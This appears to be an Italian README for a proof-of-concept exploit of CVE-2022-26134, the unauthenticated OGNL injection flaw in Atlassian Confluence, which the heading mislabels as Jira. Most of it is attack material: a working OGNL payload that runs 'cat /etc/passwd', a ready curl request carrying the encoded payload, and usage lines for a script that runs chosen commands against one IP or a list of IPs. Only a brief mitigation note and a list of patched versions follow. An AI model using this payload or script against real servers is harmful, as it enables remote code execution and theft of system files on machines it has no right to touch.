
Semplice PoC per l'exploit di Atlassian Jira. Fornisce l'esecuzione di codice per un utente non autorizzato su un server.
Semplice PoC per l'exploit di Atlassian Jira. Fornisce l'esecuzione di codice per un utente non autorizzato su un server.
CVE-2022-26134 - Vulnerabilità di iniezione OGNL.
Script proof of concept che sfrutta la vulnerabilità di esecuzione remota di codice che colpisce Atlassian Confluence 7.18 e versioni precedenti. La vulnerabilità di iniezione OGNL permette a un utente non autenticato di eseguire codice arbitrario su un'istanza di Confluence Server o Data Center.
${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}
Esempio con comando CURL:
curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D"
Quindi, il risultato del comando verrà riflesso nel parametro X-Cmd-Response nell'header della risposta.
Linee guida per le mitigazioni dai fornitori
Segui le raccomandazioni ufficiali di Atlassian: https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html
Atlassian ha rilasciato le versioni 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 e 7.18.1 che contengono una patch per questo problema.
1. git clone https://github.com/iveresk/cve-2022-26134.git
2. cd cve-2022-26134
3. pip install -r requirements.txt
4. Ex#1: python3 cve-2022-26134.py <IP> <COMMAND> - command is optional - default will be set as "whoami" just to check if your server is vulnerable
5. Ex#2: 4. Ex#1: python3 cve-2022-26134.py <FILE-WITH-IPs> <COMMAND>
Sei libero di contattarmi tramite Keybase per qualsiasi dettaglio.